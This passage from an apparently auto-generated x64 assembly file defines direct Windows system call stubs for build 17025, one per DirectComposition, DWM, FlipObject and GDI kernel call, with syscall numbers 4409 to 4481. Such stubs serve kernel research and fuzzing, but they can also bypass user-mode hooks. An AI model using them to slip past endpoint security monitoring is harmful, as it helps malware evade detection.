mov eax , 4409
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionRemoveCrossDeviceVisualChild ENDP
; ULONG64 __stdcall NtDCompositionRetireFrame( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionRetireFrame PROC STDCALL
mov r10 , rcx
mov eax , 4410
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionRetireFrame ENDP
; ULONG64 __stdcall NtDCompositionSetChannelCallbackId( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionSetChannelCallbackId PROC STDCALL
mov r10 , rcx
mov eax , 4411
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionSetChannelCallbackId ENDP
; ULONG64 __stdcall NtDCompositionSetChannelCommitCompletionEvent( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionSetChannelCommitCompletionEvent PROC STDCALL
mov r10 , rcx
mov eax , 4412
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionSetChannelCommitCompletionEvent ENDP
; ULONG64 __stdcall NtDCompositionSetChildRootVisual( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionSetChildRootVisual PROC STDCALL
mov r10 , rcx
mov eax , 4413
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionSetChildRootVisual ENDP
; ULONG64 __stdcall NtDCompositionSetDebugCounter( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionSetDebugCounter PROC STDCALL
mov r10 , rcx
mov eax , 4414
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionSetDebugCounter ENDP
; ULONG64 __stdcall NtDCompositionSubmitDWMBatch( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionSubmitDWMBatch PROC STDCALL
mov r10 , rcx
mov eax , 4415
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionSubmitDWMBatch ENDP
; ULONG64 __stdcall NtDCompositionSynchronize( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionSynchronize PROC STDCALL
mov r10 , rcx
mov eax , 4416
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionSynchronize ENDP
; ULONG64 __stdcall NtDCompositionTelemetryAnimationScenarioBegin( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionTelemetryAnimationScenarioBegin PROC STDCALL
mov r10 , rcx
mov eax , 4417
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionTelemetryAnimationScenarioBegin ENDP
; ULONG64 __stdcall NtDCompositionTelemetryAnimationScenarioReference( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionTelemetryAnimationScenarioReference PROC STDCALL
mov r10 , rcx
mov eax , 4418
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionTelemetryAnimationScenarioReference ENDP
; ULONG64 __stdcall NtDCompositionTelemetryAnimationScenarioUnreference( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionTelemetryAnimationScenarioUnreference PROC STDCALL
mov r10 , rcx
mov eax , 4419
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionTelemetryAnimationScenarioUnreference ENDP
; ULONG64 __stdcall NtDCompositionTelemetrySetApplicationId( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionTelemetrySetApplicationId PROC STDCALL
mov r10 , rcx
mov eax , 4420
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionTelemetrySetApplicationId ENDP
; ULONG64 __stdcall NtDCompositionTelemetryTouchInteractionBegin( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionTelemetryTouchInteractionBegin PROC STDCALL
mov r10 , rcx
mov eax , 4421
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionTelemetryTouchInteractionBegin ENDP
; ULONG64 __stdcall NtDCompositionTelemetryTouchInteractionEnd( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionTelemetryTouchInteractionEnd PROC STDCALL
mov r10 , rcx
mov eax , 4422
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionTelemetryTouchInteractionEnd ENDP
; ULONG64 __stdcall NtDCompositionTelemetryTouchInteractionUpdate( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionTelemetryTouchInteractionUpdate PROC STDCALL
mov r10 , rcx
mov eax , 4423
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionTelemetryTouchInteractionUpdate ENDP
; ULONG64 __stdcall NtDCompositionUpdatePointerCapture( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionUpdatePointerCapture PROC STDCALL
mov r10 , rcx
mov eax , 4424
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionUpdatePointerCapture ENDP
; ULONG64 __stdcall NtDCompositionWaitForChannel( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionWaitForChannel PROC STDCALL
mov r10 , rcx
mov eax , 4425
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionWaitForChannel ENDP
; ULONG64 __stdcall NtDWMBindCursorToOutputConfig( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDWMBindCursorToOutputConfig PROC STDCALL
mov r10 , rcx
mov eax , 4426
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDWMBindCursorToOutputConfig ENDP
; ULONG64 __stdcall NtDWMCommitInputSystemOutputConfig( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDWMCommitInputSystemOutputConfig PROC STDCALL
mov r10 , rcx
mov eax , 4427
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDWMCommitInputSystemOutputConfig ENDP
; ULONG64 __stdcall NtDWMSetCursorOrientation( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDWMSetCursorOrientation PROC STDCALL
mov r10 , rcx
mov eax , 4428
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDWMSetCursorOrientation ENDP
; ULONG64 __stdcall NtDWMSetInputSystemOutputConfig( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDWMSetInputSystemOutputConfig PROC STDCALL
mov r10 , rcx
mov eax , 4429
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDWMSetInputSystemOutputConfig ENDP
; ULONG64 __stdcall NtDesktopCaptureBits( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDesktopCaptureBits PROC STDCALL
mov r10 , rcx
mov eax , 4430
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDesktopCaptureBits ENDP
; ULONG64 __stdcall NtDuplicateCompositionInputSink( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDuplicateCompositionInputSink PROC STDCALL
mov r10 , rcx
mov eax , 4431
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDuplicateCompositionInputSink ENDP
; ULONG64 __stdcall NtEnableOneCoreTransformMode( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtEnableOneCoreTransformMode PROC STDCALL
mov r10 , rcx
mov eax , 4432
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtEnableOneCoreTransformMode ENDP
; ULONG64 __stdcall NtFlipObjectAddContent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectAddContent PROC STDCALL
mov r10 , rcx
mov eax , 4433
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectAddContent ENDP
; ULONG64 __stdcall NtFlipObjectAddPoolBuffer( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectAddPoolBuffer PROC STDCALL
mov r10 , rcx
mov eax , 4434
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectAddPoolBuffer ENDP
; ULONG64 __stdcall NtFlipObjectConsumerAcquirePresent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectConsumerAcquirePresent PROC STDCALL
mov r10 , rcx
mov eax , 4435
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectConsumerAcquirePresent ENDP
; ULONG64 __stdcall NtFlipObjectConsumerAdjustUsageReference( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectConsumerAdjustUsageReference PROC STDCALL
mov r10 , rcx
mov eax , 4436
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectConsumerAdjustUsageReference ENDP
; ULONG64 __stdcall NtFlipObjectConsumerBeginProcessPresent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectConsumerBeginProcessPresent PROC STDCALL
mov r10 , rcx
mov eax , 4437
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectConsumerBeginProcessPresent ENDP
; ULONG64 __stdcall NtFlipObjectConsumerEndProcessPresent( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectConsumerEndProcessPresent PROC STDCALL
mov r10 , rcx
mov eax , 4438
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectConsumerEndProcessPresent ENDP
; ULONG64 __stdcall NtFlipObjectConsumerPostMessage( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectConsumerPostMessage PROC STDCALL
mov r10 , rcx
mov eax , 4439
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectConsumerPostMessage ENDP
; ULONG64 __stdcall NtFlipObjectConsumerQueryBufferInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectConsumerQueryBufferInfo PROC STDCALL
mov r10 , rcx
mov eax , 4440
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectConsumerQueryBufferInfo ENDP
; ULONG64 __stdcall NtFlipObjectCreate( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectCreate PROC STDCALL
mov r10 , rcx
mov eax , 4441
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectCreate ENDP
; ULONG64 __stdcall NtFlipObjectDisconnectEndpoint( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectDisconnectEndpoint PROC STDCALL
mov r10 , rcx
mov eax , 4442
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectDisconnectEndpoint ENDP
; ULONG64 __stdcall NtFlipObjectOpen( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectOpen PROC STDCALL
mov r10 , rcx
mov eax , 4443
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectOpen ENDP
; ULONG64 __stdcall NtFlipObjectQueryBufferAvailableEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectQueryBufferAvailableEvent PROC STDCALL
mov r10 , rcx
mov eax , 4444
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectQueryBufferAvailableEvent ENDP
; ULONG64 __stdcall NtFlipObjectQueryEndpointConnected( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectQueryEndpointConnected PROC STDCALL
mov r10 , rcx
mov eax , 4445
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectQueryEndpointConnected ENDP
; ULONG64 __stdcall NtFlipObjectQueryNextMessageToProducer( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectQueryNextMessageToProducer PROC STDCALL
mov r10 , rcx
mov eax , 4446
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectQueryNextMessageToProducer ENDP
; ULONG64 __stdcall NtFlipObjectReadNextMessageToProducer( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectReadNextMessageToProducer PROC STDCALL
mov r10 , rcx
mov eax , 4447
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectReadNextMessageToProducer ENDP
; ULONG64 __stdcall NtFlipObjectRemoveContent( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectRemoveContent PROC STDCALL
mov r10 , rcx
mov eax , 4448
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectRemoveContent ENDP
; ULONG64 __stdcall NtFlipObjectRemovePoolBuffer( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectRemovePoolBuffer PROC STDCALL
mov r10 , rcx
mov eax , 4449
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectRemovePoolBuffer ENDP
; ULONG64 __stdcall NtFlipObjectSetContent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectSetContent PROC STDCALL
mov r10 , rcx
mov eax , 4450
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtFlipObjectSetContent ENDP
; ULONG64 __stdcall NtGdiAbortDoc( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiAbortDoc PROC STDCALL
mov r10 , rcx
mov eax , 4451
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiAbortDoc ENDP
; ULONG64 __stdcall NtGdiAbortPath( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiAbortPath PROC STDCALL
mov r10 , rcx
mov eax , 4452
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiAbortPath ENDP
; ULONG64 __stdcall NtGdiAddEmbFontToDC( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiAddEmbFontToDC PROC STDCALL
mov r10 , rcx
mov eax , 4453
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiAddEmbFontToDC ENDP
; ULONG64 __stdcall NtGdiAddFontResourceW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiAddFontResourceW PROC STDCALL
mov r10 , rcx
mov eax , 4454
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiAddFontResourceW ENDP
; ULONG64 __stdcall NtGdiAddInitialFonts( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiAddInitialFonts PROC STDCALL
mov r10 , rcx
mov eax , 4455
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiAddInitialFonts ENDP
; ULONG64 __stdcall NtGdiAddRemoteFontToDC( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiAddRemoteFontToDC PROC STDCALL
mov r10 , rcx
mov eax , 4456
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiAddRemoteFontToDC ENDP
; ULONG64 __stdcall NtGdiAddRemoteMMInstanceToDC( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiAddRemoteMMInstanceToDC PROC STDCALL
mov r10 , rcx
mov eax , 4457
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiAddRemoteMMInstanceToDC ENDP
; ULONG64 __stdcall NtGdiAngleArc( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiAngleArc PROC STDCALL
mov r10 , rcx
mov eax , 4458
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiAngleArc ENDP
; ULONG64 __stdcall NtGdiAnyLinkedFonts( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiAnyLinkedFonts PROC STDCALL
mov r10 , rcx
mov eax , 4459
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiAnyLinkedFonts ENDP
; ULONG64 __stdcall NtGdiArcInternal( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiArcInternal PROC STDCALL
mov r10 , rcx
mov eax , 4460
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiArcInternal ENDP
; ULONG64 __stdcall NtGdiBRUSHOBJ_DeleteRbrush( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiBRUSHOBJ_DeleteRbrush PROC STDCALL
mov r10 , rcx
mov eax , 4461
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiBRUSHOBJ_DeleteRbrush ENDP
; ULONG64 __stdcall NtGdiBRUSHOBJ_hGetColorTransform( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiBRUSHOBJ_hGetColorTransform PROC STDCALL
mov r10 , rcx
mov eax , 4462
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiBRUSHOBJ_hGetColorTransform ENDP
; ULONG64 __stdcall NtGdiBRUSHOBJ_pvAllocRbrush( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiBRUSHOBJ_pvAllocRbrush PROC STDCALL
mov r10 , rcx
mov eax , 4463
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiBRUSHOBJ_pvAllocRbrush ENDP
; ULONG64 __stdcall NtGdiBRUSHOBJ_pvGetRbrush( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiBRUSHOBJ_pvGetRbrush PROC STDCALL
mov r10 , rcx
mov eax , 4464
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiBRUSHOBJ_pvGetRbrush ENDP
; ULONG64 __stdcall NtGdiBRUSHOBJ_ulGetBrushColor( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiBRUSHOBJ_ulGetBrushColor PROC STDCALL
mov r10 , rcx
mov eax , 4465
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiBRUSHOBJ_ulGetBrushColor ENDP
; ULONG64 __stdcall NtGdiBeginGdiRendering( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiBeginGdiRendering PROC STDCALL
mov r10 , rcx
mov eax , 4466
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiBeginGdiRendering ENDP
; ULONG64 __stdcall NtGdiCLIPOBJ_bEnum( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCLIPOBJ_bEnum PROC STDCALL
mov r10 , rcx
mov eax , 4467
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCLIPOBJ_bEnum ENDP
; ULONG64 __stdcall NtGdiCLIPOBJ_cEnumStart( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCLIPOBJ_cEnumStart PROC STDCALL
mov r10 , rcx
mov eax , 4468
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCLIPOBJ_cEnumStart ENDP
; ULONG64 __stdcall NtGdiCLIPOBJ_ppoGetPath( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCLIPOBJ_ppoGetPath PROC STDCALL
mov r10 , rcx
mov eax , 4469
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCLIPOBJ_ppoGetPath ENDP
; ULONG64 __stdcall NtGdiCancelDC( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCancelDC PROC STDCALL
mov r10 , rcx
mov eax , 4470
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCancelDC ENDP
; ULONG64 __stdcall NtGdiChangeGhostFont( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiChangeGhostFont PROC STDCALL
mov r10 , rcx
mov eax , 4471
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiChangeGhostFont ENDP
; ULONG64 __stdcall NtGdiCheckBitmapBits( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCheckBitmapBits PROC STDCALL
mov r10 , rcx
mov eax , 4472
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCheckBitmapBits ENDP
; ULONG64 __stdcall NtGdiClearBitmapAttributes( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiClearBitmapAttributes PROC STDCALL
mov r10 , rcx
mov eax , 4473
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiClearBitmapAttributes ENDP
; ULONG64 __stdcall NtGdiClearBrushAttributes( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiClearBrushAttributes PROC STDCALL
mov r10 , rcx
mov eax , 4474
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiClearBrushAttributes ENDP
; ULONG64 __stdcall NtGdiColorCorrectPalette( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiColorCorrectPalette PROC STDCALL
mov r10 , rcx
mov eax , 4475
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiColorCorrectPalette ENDP
; ULONG64 __stdcall NtGdiConfigureOPMProtectedOutput( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiConfigureOPMProtectedOutput PROC STDCALL
mov r10 , rcx
mov eax , 4476
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiConfigureOPMProtectedOutput ENDP
; ULONG64 __stdcall NtGdiConvertMetafileRect( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiConvertMetafileRect PROC STDCALL
mov r10 , rcx
mov eax , 4477
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiConvertMetafileRect ENDP
; ULONG64 __stdcall NtGdiCreateBitmapFromDxSurface( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateBitmapFromDxSurface PROC STDCALL
mov r10 , rcx
mov eax , 4478
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateBitmapFromDxSurface ENDP
; ULONG64 __stdcall NtGdiCreateBitmapFromDxSurface2( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateBitmapFromDxSurface2 PROC STDCALL
mov r10 , rcx
mov eax , 4479
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateBitmapFromDxSurface2 ENDP
; ULONG64 __stdcall NtGdiCreateColorTransform( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateColorTransform PROC STDCALL
mov r10 , rcx
mov eax , 4480
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateColorTransform ENDP
; ULONG64 __stdcall NtGdiCreateEllipticRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateEllipticRgn PROC STDCALL
mov r10 , rcx
mov eax , 4481
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateEllipticRgn ENDP
